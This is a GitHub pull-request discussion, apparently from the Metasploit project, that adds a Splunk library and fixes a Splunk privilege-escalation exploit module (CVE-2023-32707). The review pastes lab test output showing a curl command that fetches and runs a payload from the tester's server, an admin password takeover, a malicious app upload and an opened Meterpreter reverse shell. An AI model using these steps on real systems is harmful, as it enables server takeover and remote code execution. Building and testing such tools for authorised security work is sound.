-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add Splunk library #18715
Add Splunk library #18715
Conversation
0b98ff1
to
da79ae8
Compare
Sorry for all the force pushes, had some weird indentation issues. I've made all the reviewed changes and some more changes in the |
Hey @errorxyz. I noticed there were a couple references to Also when testing I was getting the following error and was wondering if you have seen this before/ know if the module should be sending the old password when attempting change the password:
The error seems to be caused by a 400 response with the message body:
Full output here: Testing output
|
Thanks for pointing out the token mistake, I'll make the changes accordingly I went through your testing output, and I noticed that you were using Edit: I was able to get the same error after using
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Change are looking good to me now. I was able to test that the updated exploit module is working as expected. I tried the default payload as well as cmd/linux/http/x64/meterpreter/reverse_tcp
.
In both cases it worked. In the output below, you may notice Meterpreter is failing with error 2 but I'm confident that's unrelated since this changes no Meterpreter code.
msf6 exploit(multi/http/splunk_privilege_escalation_cve_2023_32707) > run
[*] Command to run on remote host: curl -so ./cVDoIUbawOYf http://192.168.159.128:8080/km47K8h77L_ZqYnoDxpGCA; chmod +x ./cVDoIUbawOYf; ./cVDoIUbawOYf &
[*] Fetch Handler listening on 192.168.159.128:8080
[*] HTTP server started
[*] Adding resource /km47K8h77L_ZqYnoDxpGCA
[*] Started reverse TCP handler on 192.168.159.128:4455
[*] Running automatic check ("set AutoCheck false" to disable)
[+] SUCCESSFUL LOGIN. 'redway' : 'changeme'
[*] Detected Splunk version 9.0.4 which is vulnerable
[+] The target is vulnerable. User 'redway' has 'edit_user' capability
[*] Changing 'admin' password to jHZMUwTymGy
[+] Password of the user 'admin' has been changed to jHZMUwTymGy
[+] SUCCESSFUL LOGIN. 'admin' : 'jHZMUwTymGy'
[*] Splunk app uploaded successfully
[*] Client 192.168.159.128 requested /km47K8h77L_ZqYnoDxpGCA
[*] Sending payload to 192.168.159.128 (curl/7.61.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.159.128
[*] Session ID 4 (192.168.159.128:4455 -> 192.168.159.128:46088) processing AutoRunScript 'post/multi/general/execute COMMAND=cd $SPLUNK_HOME'
[*] Executing cd on #<Session:meterpreter 192.168.159.128:46088 (192.168.159.128) "splunk @ 10.0.2.100">...
[*] Response:
[*] Meterpreter session 4 opened (192.168.159.128:4455 -> 192.168.159.128:46088) at 2024-03-05 16:11:59 -0500
[*] Cleaning up: destroying job 1709673118.9
[*] Cleaning up: removing app zaamdox
meterpreter > getuid
Server username: splunk
meterpreter > sysinfo
[-] stdapi_fs_getwd: Operation failed: 2
meterpreter > pwd
[-] stdapi_fs_getwd: Operation failed: 2
Thanks for taking this project on! I'll have this landed shortly.
Release NotesThis adds a Splunk library for use by future modules. It also updates the existing |
Fixes #18643
splunk_login
,splunk_upload_app
,splunk_and_online?
,splunk_version
,splunk_is_auth_required?
,splunk_default_creds
,splunk_login_with_default_creds
methods, mostly copy pasted from their references in the issue.splunk_change_password
method where the method used incorrect method name with incorrect parameters to login when cookie was unavailable. (link)Link to setup environment here
Once the library structure is finalised and merged, we can work on the other modules.
Before
msfconsole
use exploit/multi/http/splunk_privilege_escalation_cve_2023_32707
set
required optionsset autocheck false
run
After
msfconsole
use exploit/multi/http/splunk_privilege_escalation_cve_2023_32707
set
required optionsset autocheck false
run